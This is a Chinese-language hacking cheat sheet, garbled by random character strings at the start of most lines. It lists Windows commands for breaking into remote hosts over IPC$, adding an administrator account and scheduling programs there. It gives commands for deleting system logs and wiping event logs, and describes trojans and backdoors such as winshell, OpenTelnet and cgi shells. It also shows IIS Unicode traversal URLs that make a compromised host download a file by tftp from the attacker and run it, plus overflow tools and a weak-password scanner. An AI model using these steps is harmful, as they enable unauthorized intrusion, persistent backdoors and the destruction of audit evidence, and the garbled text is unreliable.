网管和黑客都必须知道的命令
~|R"GloUw 常用的几条NET命令：
2p(K0PtX `61 VP-r （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
(E\ 7Ui0 Q r]kLe2r:B （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
/vwGSuk._ oI Qor%z （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
!@%m3)T8 qf(!3 （查看远程主机时间） net time \\IP地址
\CX`PZ>< a~ :'OW:Q （定时启动某个程序） at \\IP地址 02:18 readme.exe
X;6&:%ZL@^ )7*Apy==x （查看共享） net view \\IP地址
CYes'lr 8&3+ =<U （查看netbios工作组列表） nbtstat -A IP地址
P_lk4 0X fW <qp （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
HVh+ Z k 6 @'v6 1' （这两条把自己增加到管理员组）： net user 用户名 密码 /add
.' 3;Z'%"g E.}T.St net localgroup Administrators 用户名 /add
| t3 _E +c+#InsY （断开连接） net use \\IP地址\ipc$ /delete
QU8 ?/ j""u: l^+x 扫尾：
Rb'," ` 7 kYmkKl_ del C:\winnt\system32\logfiles\*.*
co yy T f.,S-1D]h del C:\winnt\ssytem32\config\*.evt
!E4YUEY 6 ` ~VV1 del C:\winnt\system32\dtclog\*.*
u=p([
5] xzAyE5GL> del C:\winnt\system32\*.log
G\r u% k
32 Jz.\B del C:\winnt\system32\*.txt
OqHD=D[ z;2kKQZm del C:\winnt\*.txt
P8:k"i/6J &,3.V+Sz del C:\winnt\*.log
5ju\!Re3 X D-69/3 PvP 一、netsvc.exe
e#<%` \qH H+;>>|+:~ 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
O F2*zU7M kOs_ ] netsvc /list \\IP地址
j1_CA5V gG&2fV}l6 netsvc schedule \\IP地址 /query
QZYD;&iY& B24wn8< netsvc \\IP地址 schedule /start
L: }hZf{p* s1?N&t8c 二、OpenTelnet.exe
ApG_Gd. OLXG0@ 远程启动主机的Telnet服务，并绑定端口到7878，例如：
J
XPE9uH ]wc 'h>w OpenTelnet \\IP地址 用户名 密码 1 7878
+Y I/(ko= R]/3`X9!d> 然后就可以telnet到主机的7878端口，进入DOS方式下：
p>Qzz`@e {M )Y6\v telnet IP地址 7878
t ux/@}I ^"(C Zvq 三、winshell.exe
-2{NI.-Xd :uSo 2d 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
H"=%|/1M0 9l]+ rs + p Path （查看winshell主程序的路径信息）
Tu o`>ZA I~-W4 { b reBoot （重新启动机器）
1~zzQ:jAZ
onI%Jl sq d shutDown （关闭机器）
_)"-zbh}{ qRZ v[T%*Q s Shell （执行后你就会看到可爱的“C:\>”）
&7VN?ox1
a`
s2 z x eXit （退出本次登录会话，此命令并不终止winshell的运行）
c>6dlWTqX =\"88e;b2
CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
07P/A^Mkx l=GcgxD+"d 四、3389登陆器，GUI方式登录远程主机的
%JF^@\E!| ?#YheML ? 五、elsave.exe
@tGju\E"o I 8TqK 事件日志清除工具
@.0>gmY;: q^; SZ^yW5 elsave -s \\IP地址 -l "application" -C
z kt`7Pg;J S81% iz.n elsave -s \\IP地址 -l "system" -C
`<2k.aW4e8 ro fj&{w elsave -s \\IP地址 -l "security" -C
(H5nz ': |;sL *Vr 执行后成功清除应用程序日志，系统日志，安全日志
3q ujz)o <:/Lap#D^ 六、hbulot.exe
VwvL js;p7wi 开启win2kserver和winxp的3389服务
FjR/_GPo6 . );~H # hbulot [/r]
d!0iv'^ t -:cBVu-m 使用/r表示安装完成后自动重起目标使设置生效。
'2Q[g0VR HVjN<H IqM 七、nc.exe(netcat.exe)
XuS3#L/3p *U>"_h T0 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
/5:2g# S4 ,2oF t\`.r 想要连接到某处: nc [-options] hostname port[s] [ports] ...
-[/tS<U v z6No%8X 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
[x{z}rYH b 3. 参数:
!ZNirvk ,Tp:. " -e prog 程序重定向，一旦连接，就执行 [危险!!]
| "}oGL6- lCafs IB -g gateway source-routing hop point[s], up to 8
jkAWRpOc) mR,w~wP -G num source-routing pointer: 4, 8, 12, ...
de=){.7Y u00w'=pe) -h 帮助信息
;k ?Z,M: {%wF*?gk -i secs 延时的间隔
Gh %R4)} nA*U dr cn -l 监听模式，用于入站连接
Cv[_N%3[ *^ y,Gg/ -n 指定数字的IP地址，不能用hostname
K g6hy S b A@uU*]TqJ8 -o file 记录16进制的传输
K_! R 1;v,rs M -p port 本地端口号
35Ro8 5j r 4 $<,~ -r 任意指定本地及远程端口
lA{JpH_Y8s UuS6y9@v -s addr 本地源地址
- kF8 ZF knfEb H -u UDP模式
^[x6p} $ 'Vp zB
s# -v 详细输出——用两个-v可得到更详细的内容
Q~R% |Q{& ~P7zg!p/q -w secs timeout的时间
@.&KRAZ ZH)Jq^^RI -z 将输入输出关掉——用于扫描时
)\KU:_l 八、TFTPD32.EXE
_u3%16,o hbdB67, 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
63E)RR_Lh VTUSM{TC http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
E- jJ!>&K |&"/u7^ 然后可以直接令文件运行：
tWyl&,3?1 2=
Y8$- http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
5B Jn_< *Sg6 VGP 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
+H:}1sT;n ?o1QjDG 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
mE mgr(W CwM 1
_3cE 一、一 Xscan命令行运行参数说明：
MQe|\SMd 5O(U1
* 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
{%_D> y j #~ S"t 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
n8E3w:A- shD4";8*@ xscan -file <主机列表文件名> <检测项目> [其他选项]
xS4?M<|L63 4T6 : C?V 其中<检测项目> 含义如下:
Mp QsM-iW 5)Z:J -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
J%]5C}v \ #qu;{I#W3 -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
|No9eZ8>. m
7S`u -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
T/0cPn0> Q/@ pcU -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
mPF<2 :)wv * k,{[b -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
bk0<i*ju7( f 8\D AN [其他选项] 含义如下:
u+y3 ( 0 k]A =Q -v: 显示详细扫描进度
9K;g\? 3 d;,Jf*x\ -p: 跳过Ping不通的主机
n {\d m70AWG -o: 跳过没有检测到开放端口的主机
HWIn.ij S}VN(g -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
